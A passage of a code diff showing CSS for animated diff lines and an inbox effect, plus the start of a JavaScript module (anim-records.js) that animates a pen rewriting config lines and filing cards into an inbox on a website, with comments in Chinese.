opacity: 0;
|
||||||
|
transform: translateY(3px);
|
||||||
|
transition: opacity 0.3s ease, transform 0.3s ease;
|
||||||
|
}
|
||||||
|
.replay-diff.is-on .dline { opacity: 1; transform: none; }
|
||||||
|
/* 收回:整体快速淡出(行不再逐行延迟,避免拖慢收回节奏) */
|
||||||
|
.replay-diff.is-closing { opacity: 0; transition: opacity 0.22s ease; }
|
||||||
|
.replay-diff.is-closing .dline { transition: none; transition-delay: 0ms; opacity: 1; transform: none; }
|
||||||
|
|
||||||
|
.dline {
|
||||||
|
position: relative;
|
||||||
|
display: flex;
|
||||||
|
gap: 12px;
|
||||||
|
padding: 3px 10px;
|
||||||
|
border-radius: 4px;
|
||||||
|
/* 容器本身始终不透明:转正落位的字符立即可见,不经历消失→淡入;
|
||||||
|
红/绿底色由 ::before 独立淡入,+/- 符号独立淡入 */
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
.dline::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
border-radius: 4px;
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.3s ease;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.dline.is-del::before { background: rgba(212, 123, 107, 0.08); }
|
||||||
|
.dline.is-add::before { background: rgba(123, 168, 137, 0.10); }
|
||||||
|
.dline.is-shown::before { opacity: 1; }
|
||||||
|
.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; }
|
||||||
|
.dline.is-shown .dsign { opacity: 1; }
|
||||||
|
.dline.is-del { color: var(--danger); }
|
||||||
|
.dline.is-add { color: var(--ok); }
|
||||||
|
|
||||||
|
/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */
|
||||||
|
.dch { opacity: 0; }
|
||||||
|
.dch.is-lit { opacity: 1; }
|
||||||
|
|
||||||
|
/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */
|
||||||
|
.dch-ghost {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12.5px;
|
||||||
|
line-height: 1.5;
|
||||||
|
pointer-events: none;
|
||||||
|
/* 不设 will-change:合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */
|
||||||
|
transition: transform 0.34s cubic-bezier(.35,.1,.25,1);
|
||||||
|
z-index: 35; /* 高于盒前壁(30),飞行字母不被盒子挡 */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 笔尖/橡皮定位参考点:visibility 隐藏(保留几何盒供 getBoundingClientRect 实测),
|
||||||
|
同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */
|
||||||
|
.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
|
||||||
|
|
||||||
|
/* ───────── 收件箱(genie 收盒) ─────────
|
||||||
|
后壁 z10(纸挡住它)、前壁 z30(它挡住纸)——纸从前后壁之间沉入 */
|
||||||
|
.inbox-part {
|
||||||
|
position: absolute;
|
||||||
|
left: 86px; /* 中心线 x=134 */
|
||||||
|
top: 166px;
|
||||||
|
width: 96px;
|
||||||
|
height: 96px;
|
||||||
|
color: var(--text-1);
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.35s ease;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.inbox-part.is-shown { opacity: 1; }
|
||||||
|
.box-back { z-index: 10; }
|
||||||
|
.box-front { z-index: 30; }
|
||||||
|
/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */
|
||||||
|
.box-front path { fill: var(--bg-1); }
|
||||||
|
/* 盒内纸叠:genie 终态的文件卡片(.file-flight)本身就是插在盒子里的纸 */
|
||||||
899
website-design/exp/site-assets/anim-records.js
Normal file
@ -0,0 +1,899 @@
|
|||||||
|
/* 修改记录动画 —— 可复用模块(主页 feature 行 / anim3-demo 页共用)
|
||||||
|
* AnimRecords.init(container):在容器内建 DOM 并自动播放;
|
||||||
|
* 三轮收盒后自动轮播三张卡的 diff 详情,用户按下卡片暂停轮播 5 秒。
|
||||||
|
*
|
||||||
|
* 舞台固定 540×380 逻辑尺寸,按容器等比缩放居中(transform scale)——
|
||||||
|
* 所有内部坐标不随容器变化;getBoundingClientRect 读数是缩放后的视口值,
|
||||||
|
* 统一除以 curScale 换算回舞台本地坐标。
|
||||||
|
*/
|
||||||
|
|
||||||
|
window.AnimRecords = (function () {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
var LOGICAL_W = 540, LOGICAL_H = 380;
|
||||||
|
|
||||||
|
function init(container) {
|
||||||
|
container.innerHTML =
|
||||||
|
'<div class="anim3-window">' +
|
||||||
|
'<div class="anim3-stage" id="anim3Stage">' +
|
||||||
|
'<div class="writer" id="writer"><span class="writer-avatar" id="writerAvatar"></span></div>' +
|
||||||
|
'<div class="pen-pos" id="penPos">' +
|
||||||
|
'<svg class="writer-pen" id="writerPen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||||
|
'<path fill="var(--bg-1)" d="M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z" />' +
|
||||||
|
'<path d="m15 5 4 4" />' +
|
||||||
|
'<circle id="penNibRef" class="pen-ref" cx="2.65" cy="21.02" r="0.7" />' +
|
||||||
|
'<circle id="penEraserRef" class="pen-ref" cx="19.2" cy="4.8" r="0.7" />' +
|
||||||
|
'</svg>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="paper3d" id="paper"><div class="paper-sheet">' +
|
||||||
|
'<div class="pline" data-w="82"><i class="pline-end"></i></div>' +
|
||||||
|
'<div class="pline" data-w="64"><i class="pline-end"></i></div>' +
|
||||||
|
'<div class="pline" data-w="71"><i class="pline-end"></i></div>' +
|
||||||
|
'<div class="pline" data-w="58"><i class="pline-end"></i></div>' +
|
||||||
|
'</div></div>' +
|
||||||
|
'<svg class="inbox-part box-back is-shown" id="boxBack" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||||
|
'<path d="M2 12 L5.45 5.11 A2 2 0 0 1 7.24 4 H16.76 a2 2 0 0 1 1.79 1.11 L22 12" />' +
|
||||||
|
'</svg>' +
|
||||||
|
'<svg class="inbox-part box-front is-shown" id="boxFront" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||||
|
'<path d="M2 12 h6 l2 3 h4 l2 -3 h6 v6 a2 2 0 0 1 -2 2 H4 a2 2 0 0 1 -2 -2 z" />' +
|
||||||
|
'</svg>' +
|
||||||
|
'<div class="diff-view" id="diffView">' +
|
||||||
|
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">theme: \'dark\'</span></div>' +
|
||||||
|
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">theme: \'classic\'</span></div>' +
|
||||||
|
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">fontSize: 13, lineHeight: 1.4</span></div>' +
|
||||||
|
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">fontSize: 14, lineHeight: 1.6</span></div>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>';
|
||||||
|
|
||||||
|
var stage = document.getElementById('anim3Stage');
|
||||||
|
var paper = document.getElementById('paper');
|
||||||
|
var penPos = document.getElementById('penPos');
|
||||||
|
var pen = document.getElementById('writerPen');
|
||||||
|
var boxBack = document.getElementById('boxBack');
|
||||||
|
var boxFront = document.getElementById('boxFront');
|
||||||
|
var diffView = document.getElementById('diffView');
|
||||||
|
var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline'));
|
||||||
|
var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline'));
|
||||||
|
|
||||||
|
// 挂载六边形眼睛(眨眼 + 追踪)
|
||||||
|
if (window.AstrionAvatar) {
|
||||||
|
AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 等比缩放:舞台固定 540×380 逻辑尺寸,按容器 min(w/540, h/380) 缩放居中。
|
||||||
|
垂直方向按内容中心(CONTENT_CY)对齐容器中心:内容包围盒为 diff 顶 0 ~ 盒底 262,
|
||||||
|
中心 131 ≠ 舞台中心 190,直接居中会让整体视觉偏上 */
|
||||||
|
var CONTENT_CY = 131;
|
||||||
|
var curScale = 1;
|
||||||
|
function updateScale() {
|
||||||
|
var w = container.clientWidth, h = container.clientHeight;
|
||||||
|
curScale = Math.min(w / LOGICAL_W, h / LOGICAL_H) || 1;
|
||||||
|
stage.style.top = 'calc(50% + ' + ((LOGICAL_H / 2 - CONTENT_CY) * curScale).toFixed(1) + 'px)';
|
||||||
|
stage.style.transform = 'translate(-50%, -50%) scale(' + curScale + ')';
|
||||||
|
}
|
||||||
|
if (window.ResizeObserver) new ResizeObserver(updateScale).observe(container);
|
||||||
|
window.addEventListener('resize', updateScale);
|
||||||
|
|
||||||
|
/* 视口 rect → 舞台本地坐标:stage 被 scale,差值统一除 curScale。
|
||||||
|
sr 一律现场重测:擦写/飞行序列长达数百 ms,外部缓存的旧 sr 在页面滚动后已过期,
|
||||||
|
与调用方刚实测的 rect 相差一个滚动量——文字的起点终点就会跟着页面滚动歪掉 */
|
||||||
|
function toLocal(rect, sr) {
|
||||||
|
sr = stageRect();
|
||||||
|
return {
|
||||||
|
left: (rect.left - sr.left) / curScale,
|
||||||
|
top: (rect.top - sr.top) / curScale,
|
||||||
|
width: rect.width / curScale,
|
||||||
|
height: rect.height / curScale
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
var gen = 0;
|
||||||
|
|
||||||
|
/* 笔尖/橡皮的精确位置不再手调像素:
|
||||||
|
* SVG 内放了两个隐形参考点(penNibRef / penEraserRef),
|
||||||
|
* 运行时 getBoundingClientRect 实测其渲染位置做补偿——
|
||||||
|
* 无论笔怎么旋转/摇摆,作用点都精确钉在目标上。 */
|
||||||
|
var nibRef = document.getElementById('penNibRef');
|
||||||
|
var eraserRef = document.getElementById('penEraserRef');
|
||||||
|
var penTx = 0, penTy = 0;
|
||||||
|
|
||||||
|
/* 笔的初始位(被智能体拿着):笔尖所在点,笔身斜跨六边形。
|
||||||
|
与 04 同款手持偏移:writer 盒左上 (412,26) + (46,58) */
|
||||||
|
var PEN_HOME = { x: 458, y: 84 };
|
||||||
|
|
||||||
|
/* 所有计时都基于 rAF 累计「可见时间」:后台标签页 rAF 暂停,整个动画流程随之冻结,
|
||||||
|
恢复可见时从冻结点继续——setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全放完 */
|
||||||
|
function rafWait(ms) {
|
||||||
|
return new Promise(function (resolve) {
|
||||||
|
var acc = 0, last = performance.now();
|
||||||
|
function tick(now) {
|
||||||
|
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
|
||||||
|
last = now;
|
||||||
|
if (acc >= ms) { resolve(); return; }
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function step(ms, myGen) {
|
||||||
|
await rafWait(ms);
|
||||||
|
if (myGen !== gen) throw new Error('cancelled');
|
||||||
|
}
|
||||||
|
|
||||||
|
function el(tag, cls) {
|
||||||
|
var e = document.createElement(tag);
|
||||||
|
if (cls) e.className = cls;
|
||||||
|
return e;
|
||||||
|
}
|
||||||
|
|
||||||
|
function stageRect() { return stage.getBoundingClientRect(); }
|
||||||
|
|
||||||
|
/* 缓动 */
|
||||||
|
function easeOut(p) { return 1 - (1 - p) * (1 - p); }
|
||||||
|
function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); }
|
||||||
|
|
||||||
|
/* rAF 逐帧驱动,进度按可见时间累计(后台冻结,恢复不跳变);返回 false/取消时提前结束 */
|
||||||
|
function tween(ms, fn, myGen) {
|
||||||
|
return new Promise(function (resolve) {
|
||||||
|
var acc = 0, last = performance.now();
|
||||||
|
function tick(now) {
|
||||||
|
if (myGen !== gen) { resolve(); return; }
|
||||||
|
acc += Math.min(now - last, 100);
|
||||||
|
last = now;
|
||||||
|
var p = Math.min(acc / ms, 1);
|
||||||
|
fn(p);
|
||||||
|
if (p >= 1) { resolve(); return; }
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function setPen(x, y) {
|
||||||
|
penTx = x; penTy = y;
|
||||||
|
penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)';
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 手动微调(css px):数据对准后仍有轻微视觉偏差时在这里调,用户肉眼验收 */
|
||||||
|
var NIB_TWEAK = { x: 0, y: -1.8 };
|
||||||
|
var ERASER_TWEAK = { x: 0, y: 0 };
|
||||||
|
|
||||||
|
/* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate,一次收敛 */
|
||||||
|
function refTo(refEl, x, y, sr) {
|
||||||
|
sr = stageRect(); /* 现场重测,同 toLocal */
|
||||||
|
var r = refEl.getBoundingClientRect();
|
||||||
|
var cx = (r.left + r.width / 2 - sr.left) / curScale;
|
||||||
|
var cy = (r.top + r.height / 2 - sr.top) / curScale;
|
||||||
|
setPen(penTx + (x - cx), penTy + (y - cy));
|
||||||
|
}
|
||||||
|
function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); }
|
||||||
|
function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); }
|
||||||
|
|
||||||
|
/* 行右端进度点的舞台坐标:倾斜线的包围盒中心≠真实右端点,
|
||||||
|
* 用线内右端锚点(.pline-end)的实测位置,兼容 3D 透视 + rotZ 倾斜 */
|
||||||
|
function lineTip(line, sr) {
|
||||||
|
sr = stageRect(); /* 现场重测,同 toLocal */
|
||||||
|
var r = line.querySelector('.pline-end').getBoundingClientRect();
|
||||||
|
return { x: (r.left + r.width / 2 - sr.left) / curScale, y: (r.top + r.height / 2 - sr.top) / curScale };
|
||||||
|
}
|
||||||
|
function nibToLineTip(line, sr) {
|
||||||
|
var t = lineTip(line, sr);
|
||||||
|
nibTo(t.x, t.y, sr);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 三轮内容:Dockerfile / Python / TS,不全是一种代码;
|
||||||
|
纸上横线长度 ≈ 对应行字符数(~2.3%/字符)——线长与内容长短一致;
|
||||||
|
file/tone:收盒前渐变覆盖的文件卡(红/黄/绿,露出一截即可分辨)。 */
|
||||||
|
var ROUNDS = [
|
||||||
|
{
|
||||||
|
file: 'Docker',
|
||||||
|
paperW: [34, 26, 59, 44],
|
||||||
|
edits: [
|
||||||
|
{ newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' },
|
||||||
|
/* 最长行 26 字符(≈237px 宽):diff 左缘保持在 stage 内(>15px),否则左缘描边被 stage 裁掉 */
|
||||||
|
{ newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' }
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
file: 'api.py',
|
||||||
|
paperW: [56, 35, 46, 30],
|
||||||
|
edits: [
|
||||||
|
{ newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' },
|
||||||
|
{ newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' }
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
file: 'theme.ts',
|
||||||
|
paperW: [46, 30, 66, 58],
|
||||||
|
edits: [
|
||||||
|
{ newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" },
|
||||||
|
{ newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' }
|
||||||
|
]
|
||||||
|
}
|
||||||
|
];
|
||||||
|
/* 盒内纸堆叠透视(按盒子 SVG 侧边斜率 dx/dy=0.5 推导:每向深处 1px 两侧共收 1px):
|
||||||
|
每往里一张纸,顶边抬高 ~10px、宽度按侧边角度同步收窄、只露出顶部一截。
|
||||||
|
topY/bottomY 为 stage 坐标,wRatio 为相对盒子图标宽的比例。 */
|
||||||
|
/* 等比透视:三张文件本身差不多高,随深度每层缩 ~8%(与宽度收敛同比率);
|
||||||
|
底边都落在盒口附近(194/183/172)——每张收进去的瞬间都是真的插进盒子,不悬空;
|
||||||
|
顶边各露 5px(底边落差 11px - 高度缩 6px ≈ 5px) */
|
||||||
|
/* 等比透视:三张文件本身差不多高,随深度略缩;底边都落在盒口附近——
|
||||||
|
每张收进去的瞬间都是真的插进盒子,不悬空;顶边各露 5px。
|
||||||
|
(坐标基于盒子下移 50px 后:盒口 y=224) */
|
||||||
|
var FILED_SPECS = [
|
||||||
|
{ topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52,最宽、最低、贴前壁 */
|
||||||
|
{ topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */
|
||||||
|
{ topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40,底边在盒口线上 */
|
||||||
|
];
|
||||||
|
|
||||||
|
/* diff 行拆成单字符(初始透明占位),擦/写时字母逐个从笔处飘入落位。
|
||||||
|
落位的 ghost 会转正替换占位符成为流内正式字符,reset 时重建占位 */
|
||||||
|
var dlineTexts = [];
|
||||||
|
function setDiffTexts(r) {
|
||||||
|
var e = ROUNDS[r].edits;
|
||||||
|
dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add];
|
||||||
|
}
|
||||||
|
setDiffTexts(0);
|
||||||
|
var dlineChars = dlines.map(function () { return []; });
|
||||||
|
function buildDlineChars() {
|
||||||
|
dlines.forEach(function (d, di) {
|
||||||
|
var t = d.querySelector('.dtext');
|
||||||
|
t.textContent = '';
|
||||||
|
dlineChars[di] = [];
|
||||||
|
for (var i = 0; i < dlineTexts[di].length; i++) {
|
||||||
|
var c = el('span', 'dch');
|
||||||
|
/* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */
|
||||||
|
c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i];
|
||||||
|
t.appendChild(c);
|
||||||
|
dlineChars[di].push(c);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
buildDlineChars();
|
||||||
|
|
||||||
|
/* 一个字母从舞台 (x0,y0)(笔的擦/写位置)飘到 diff 行目标字符位。
|
||||||
|
落位后转正:替换占位符成为流内正式字符——genie 收纸时文字随纸一起变形;
|
||||||
|
首个落位字符触发行容器(红/绿底色)淡入:底色与文字同步,不先于文字出现 */
|
||||||
|
function flyChar(x0, y0, chSpan, sr, myGen) {
|
||||||
|
sr = stageRect(); /* 现场重测,同 toLocal:与 to 同刻,滚动不歪 */
|
||||||
|
var to = chSpan.getBoundingClientRect();
|
||||||
|
var g = el('span', 'dch-ghost');
|
||||||
|
g.textContent = chSpan.textContent;
|
||||||
|
g.style.color = getComputedStyle(chSpan).color;
|
||||||
|
g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)';
|
||||||
|
stage.appendChild(g);
|
||||||
|
void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */
|
||||||
|
g.style.transform = 'translate(' + ((to.left - sr.left) / curScale).toFixed(1) + 'px,' + ((to.top - sr.top) / curScale).toFixed(1) + 'px)';
|
||||||
|
g.addEventListener('transitionend', function handler() {
|
||||||
|
g.removeEventListener('transitionend', handler);
|
||||||
|
if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; }
|
||||||
|
/* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符,同帧完成无跳变 */
|
||||||
|
g.style.cssText = '';
|
||||||
|
g.className = 'dch is-lit';
|
||||||
|
var row = chSpan.parentNode; /* .dtext */
|
||||||
|
var dline = row.parentNode; /* .dline */
|
||||||
|
row.replaceChild(g, chSpan);
|
||||||
|
/* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */
|
||||||
|
dline.classList.add('is-shown');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyWidths() {
|
||||||
|
lines.forEach(function (l) {
|
||||||
|
l.style.width = l.dataset.w + '%';
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function reset() {
|
||||||
|
gen += 1;
|
||||||
|
disableBrowse();
|
||||||
|
pen.classList.remove('is-writing');
|
||||||
|
penPos.classList.remove('is-live');
|
||||||
|
lines.forEach(function (l) {
|
||||||
|
l.classList.remove('is-new');
|
||||||
|
l.style.opacity = '';
|
||||||
|
});
|
||||||
|
lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; });
|
||||||
|
applyWidths();
|
||||||
|
setDiffTexts(0);
|
||||||
|
diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */
|
||||||
|
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
|
||||||
|
Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); });
|
||||||
|
buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */
|
||||||
|
Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); });
|
||||||
|
diffView.style.clipPath = '';
|
||||||
|
diffView.style.transform = '';
|
||||||
|
diffView.style.transformOrigin = '';
|
||||||
|
diffView.style.opacity = '';
|
||||||
|
diffView.style.visibility = '';
|
||||||
|
diffView.classList.remove('is-sheet');
|
||||||
|
void diffView.offsetWidth;
|
||||||
|
diffView.classList.remove('no-fade');
|
||||||
|
/* 收件箱始终显示,不在重置时隐藏 */
|
||||||
|
pen.classList.remove('is-erasing');
|
||||||
|
pen.style.transform = '';
|
||||||
|
penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */
|
||||||
|
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||||
|
void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */
|
||||||
|
penPos.classList.remove('is-live');
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 改写一行:飞向行右端同时倒转笔换到橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 边转回边滑到书写位 → 新行从笔尖长出 */
|
||||||
|
async function rewriteLine(line, newW, delDline, addDline, myGen) {
|
||||||
|
var sr = stageRect();
|
||||||
|
var oldW = parseFloat(line.dataset.w);
|
||||||
|
|
||||||
|
// 1) 飞行倒笔一步到位:飞向行右端的同时顺时针转 90° + 滑移换端,到达时橡皮恰好按到线上
|
||||||
|
// (擦除姿态为「左上—右下」:橡皮在右下接触线,笔身朝左上,与写字的「左下—右上」镜像区分)
|
||||||
|
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate)
|
||||||
|
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate)
|
||||||
|
pen.classList.add('is-erasing');
|
||||||
|
penPos.classList.add('is-live');
|
||||||
|
var t0 = lineTip(line, sr);
|
||||||
|
var fromX = penTx, fromY = penTy;
|
||||||
|
pen.style.transform = 'rotate(90deg)';
|
||||||
|
eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */
|
||||||
|
var toX = penTx, toY = penTy;
|
||||||
|
pen.style.transform = '';
|
||||||
|
setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */
|
||||||
|
await tween(540, function (p) {
|
||||||
|
var e = easeInOut(p);
|
||||||
|
pen.style.transform = 'rotate(' + (90 * e).toFixed(1) + 'deg)';
|
||||||
|
setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e);
|
||||||
|
}, myGen);
|
||||||
|
|
||||||
|
// 3) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左)
|
||||||
|
// 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现
|
||||||
|
var delChars = dlineChars[dlines.indexOf(delDline)];
|
||||||
|
var dN = delChars.length;
|
||||||
|
var nextDel = dN - 1;
|
||||||
|
var eraseMs = Math.round(oldW * 7);
|
||||||
|
await tween(eraseMs, function (p) {
|
||||||
|
line.style.width = (oldW * (1 - easeInOut(p))) + '%';
|
||||||
|
var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回,±7°
|
||||||
|
pen.style.transform = 'rotate(' + (90 + wob).toFixed(1) + 'deg)';
|
||||||
|
var t = lineTip(line, sr);
|
||||||
|
eraserTo(t.x, t.y, sr);
|
||||||
|
while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) {
|
||||||
|
flyChar(t.x, t.y, delChars[nextDel], sr, myGen);
|
||||||
|
nextDel--;
|
||||||
|
}
|
||||||
|
}, myGen);
|
||||||
|
|
||||||
|
// 5) 回正:翻回 0° 与换端回笔尖融合为一步(线宽已 0,右端即行首),到位即开写;
|
||||||
|
// 转回 0° 后移除 is-erasing,origin 切回笔尖无跳变
|
||||||
|
var home = lineTip(line, sr);
|
||||||
|
var backFromX = penTx, backFromY = penTy;
|
||||||
|
pen.style.transform = '';
|
||||||
|
nibTo(home.x, home.y, sr);
|
||||||
|
var backToX = penTx, backToY = penTy;
|
||||||
|
pen.style.transform = 'rotate(90deg)';
|
||||||
|
setPen(backFromX, backFromY);
|
||||||
|
await tween(300, function (p) {
|
||||||
|
var e = easeInOut(p);
|
||||||
|
pen.style.transform = 'rotate(' + (90 * (1 - e)).toFixed(1) + 'deg)';
|
||||||
|
setPen(backFromX + (backToX - backFromX) * e, backFromY + (backToY - backFromY) * e);
|
||||||
|
}, myGen);
|
||||||
|
pen.classList.remove('is-erasing');
|
||||||
|
pen.style.transform = '';
|
||||||
|
|
||||||
|
// 6) 写上绿色新内容:笔尖跟随右端,is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右)
|
||||||
|
pen.classList.add('is-writing');
|
||||||
|
var addChars = dlineChars[dlines.indexOf(addDline)];
|
||||||
|
var aN = addChars.length;
|
||||||
|
var nextAdd = 0;
|
||||||
|
var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写)
|
||||||
|
await tween(writeMs, function (p) {
|
||||||
|
line.style.width = (newW * easeOut(p)) + '%';
|
||||||
|
nibToLineTip(line, sr);
|
||||||
|
while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) {
|
||||||
|
var t2 = lineTip(line, sr);
|
||||||
|
flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen);
|
||||||
|
nextAdd++;
|
||||||
|
}
|
||||||
|
}, myGen);
|
||||||
|
pen.classList.remove('is-writing');
|
||||||
|
}
|
||||||
|
|
||||||
|
/* genie 收盒 · 裁切式:文件卡片始终是同一个 DOM 元素,不切片、不缩放内容——
|
||||||
|
每帧把 S 曲线轮廓(底部先收窄、侧边弧线、顶部后动)算成 path(fill 纸色+描边跟随),
|
||||||
|
裁掉轮廓外的部分(裁切不压缩,内容全程原样清晰);
|
||||||
|
文字随轮廓中心移动、矢量缩小字号;终态轮廓恰好是插在盒口的小矩形。
|
||||||
|
三轮播完后动画可逆:点击盒内卡片按原路径倒出查看(genieRun dir=-1)。 */
|
||||||
|
|
||||||
|
/* genie 时序:塞入/倒出共用。833/533(= 原 1000/640 再提 1.2 倍速,相位结构不变) */
|
||||||
|
var GENIE_TOTAL = 833;
|
||||||
|
var GENIE_SLICE = 533;
|
||||||
|
var GENIE_MAXDELAY = GENIE_TOTAL - GENIE_SLICE;
|
||||||
|
|
||||||
|
/* genie 几何参数:收盒时算一次缓存到 flight._geom,倒出时原样复用 */
|
||||||
|
function computeGenieGeom(flight, r) {
|
||||||
|
var sr = stageRect();
|
||||||
|
var br = toLocal(boxBack.getBoundingClientRect(), sr);
|
||||||
|
var px = +flight.dataset.px, py = +flight.dataset.py;
|
||||||
|
var W = +flight.dataset.w, H = +flight.dataset.h;
|
||||||
|
/* 盒口中心(stage 坐标):图标 y=12/24 处为盒口前缘线 */
|
||||||
|
var mouthX = br.left + br.width / 2;
|
||||||
|
/* 收盒顺序 3→2→1:第一轮收最里面,最后一轮收最前(后收的挡先收的) */
|
||||||
|
var spec = FILED_SPECS[FILED_SPECS.length - 1 - r];
|
||||||
|
var sinkY = spec.bottomY - (py + H);
|
||||||
|
return {
|
||||||
|
W: W, H: H, sinkY: sinkY,
|
||||||
|
centerDx: mouthX - (px + W / 2),
|
||||||
|
minS: (br.width * spec.wRatio) / W,
|
||||||
|
compressH: spec.topY - py - sinkY
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/* genie 单帧:按相位 p(0=封面原位,1=盒口终态)画 S 曲线轮廓、定位随动文字。
|
||||||
|
正放收盒与倒放倒出共用(倒放只是 p 从 1 走回 0);返回轮廓包围盒。 */
|
||||||
|
function genieFrame(flight, g, p) {
|
||||||
|
var shape = flight._shapeEl;
|
||||||
|
var name = flight._nameEl;
|
||||||
|
var stat = flight._statEl;
|
||||||
|
var W = g.W, H = g.H, sinkY = g.sinkY, centerDx = g.centerDx;
|
||||||
|
